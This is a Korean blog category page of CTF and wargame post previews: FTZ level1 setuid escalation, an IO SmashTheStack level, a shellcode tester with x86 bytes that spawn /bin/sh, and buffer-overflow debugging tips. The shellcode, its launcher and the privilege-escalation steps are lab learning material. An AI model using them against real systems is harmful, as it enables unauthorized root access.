본문 바로가기
728x90

CTF 분야26

Level1 FTZ : REDHAT 9.0에 FTZ 이미지를 마운트하여 문제를 풀이함 # 레드햇 관리자 계정 - 아이디 : root - 패스워드 : hackerschool FTZ_Restore_Manual.pdf를 참고하여 설정 후 putty 등의 툴로 SSH 접속하여 풀이 아이디 : level1 패스워드 : level1 1. 레벨 2 권한을 가진 파일 검색find / -user level2 -perm -4300 2>/dev/null 2. 제한된 명령어 외에 /bin/bash를 실행하여 권한 획득 2015. 10. 1.
IO SmashTheStack level10 >> 소스코드 1234567891011121314151617181920212223242526272829//written by andersonc0d3#include #include #include #include int main(int argc, char **argv){ FILE *fp = fopen("/levels/level10_alt.pass", "r"); // fopen 함수 내부에 malloc을 통해 heap영역 할당 struct {char pass[20], msg_err[20]} pwfile = {{0}}; //구조체가 선언 char ptr[0]; //ptr이라는 배열 포인터가 선언 if(!fp || argc != 2) return -1; fread(pwfile.pass, 1, 20, fp); /.. 2015. 3. 11.
shellcode 검증/작성/조회 [shellcode 검증용 C 소스코드] char sc[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" // setreuid(0,0); "\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31" "\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh"; main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)sc; } [shellcode 작성 참고문서] [BoF에서 사용한 Shellcode] shell(24byte) = "\x31\xc0\x50\x68\x2f\x2.. 2015. 1. 3.
BoF 원정대 시작팁 [디버깅 시 python으로 인자값 전달] (gdb) r `python -c 'print "A" * 400 + "BBBB" + "CCCC"'` (gdb) r $(python -c 'print "A" * 400 + "BBBB" + "CCCC"') (gdb) r `python ex.py` [디버깅 시perl로 인자값 전달] (gdb) r `perl -e 'print "\x41"*400,"BBBB","CCCC"'` [디버깅 오류 확인] /bin/bash: /home/gate/eM/../gremlin: Operation not permitted 권한이 없어서 그래요 setuid 가 걸린 binary 는 디버깅 못함 사본을 만들어서 디버깅할 것 gcc버전이 하위버전이라 더미데이터가 안붙어서 16바이트 버퍼이면 그.. 2014. 12. 18.
WarGame List 참고 사이트 : http://idkwim.tistory.com/183 2014. 12. 10.
반응형